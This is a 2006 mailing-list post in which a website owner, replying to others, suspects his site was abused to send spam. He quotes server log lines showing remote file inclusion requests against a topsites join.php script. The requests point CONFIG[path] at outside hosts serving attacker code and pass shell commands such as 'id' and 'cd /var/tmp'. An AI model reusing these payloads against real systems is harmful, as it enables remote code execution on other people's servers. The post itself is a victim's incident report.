-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Tue, 23 May 2006 08:45:30 +0100 Paul Howarth <paul@xxxxxxxxxxxx> wrote: > On Mon, 2006-05-22 at 23:11 -0400, CodeHeads wrote: > > -----BEGIN PGP SIGNED MESSAGE----- > > Hash: SHA1 > > > > On Tue, 23 May 2006 00:14:32 +0000 > > replies-lists-redhat@xxxxxxxxxxxxxxxxxxxxx wrote: > > > i haven't been following this topic in great detail, but i suspect that > > > you have a form on your site that is being exploited for "form spam". > > > if you're not familiar with this, search google for "form spam". > > > > > > - Rick > > > > > > Rick, > > Thank you, No, I have not heard of this. > > I don't think that's what this is. Form spam takes advantage of > poorly-coded mail/contact forms and uses them to send mail to recipients > other than those intended by the form designer. > > What's happening here is that the spammer is running their own code > (downloaded into /tmp) to send the mail, a rather more serious > situation. > > Paul. > I might not know too much but I really think they are using my forms. I found quite a few log entries. Here are a few. 81.199.173.8 - - [22/May/2006:18:57:51 -0400] "POST /topsites/sources/join.php?FORM%5burl%5d=owned&CONFIG%5bcaptcha%5d=1&CONFIG%5bpath%5d=http://www.tiffefermaintfashion.com/gbook/tmp/xzblog.txt? HTTP/1.0" 200 5923 AOL: 172.179.33.217 - - [21/May/2006:07:58:01 -0400] "GET /topsites/sources/join.php?FORM%5burl%5d=owned&CONFIG%5bcaptcha%5d=1&CONFIG%5bpath%5d=http://xpl.netmisphere2.com/CMD.gif?&cmd=id HTTP/1.1" 200 2374 172.179.33.217 - - [21/May/2006:07:58:20 -0400] "GET /topsites/sources/join.php?FORM%5burl%5d=owned&CONFIG%5bcaptcha%5d=1&CONFIG%5bpath%5d=http://xpl.netmisphere2.com/CMD.gif?&cmd=w HTTP/1.1" 200 2412 172.179.33.217 - - [21/May/2006:07:58:34 -0400] "GET /topsites/sources/join.php?FORM%5burl%5d=owned&CONFIG%5bcaptcha%5d=1&CONFIG%5bpath%5d=http://xpl.netmisphere2.com/CMD.gif?&cmd=cd%20/var/tmp HTTP/1.1" 200 2323 And the xpl.netmisphere2.com site has hacking information: http://xpl.netmisphere2.com/ I think this outta be illegal!! -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.3 (GNU/Linux) iD8DBQFEcylffw3TK8jhZrsRAq16AJ930YTN4X/cSN8NZEVHYfJYjQ/dfwCgmTED xgS0Iv+yX2HhWQkREzXW+SI= =CyYw -----END PGP SIGNATURE-----
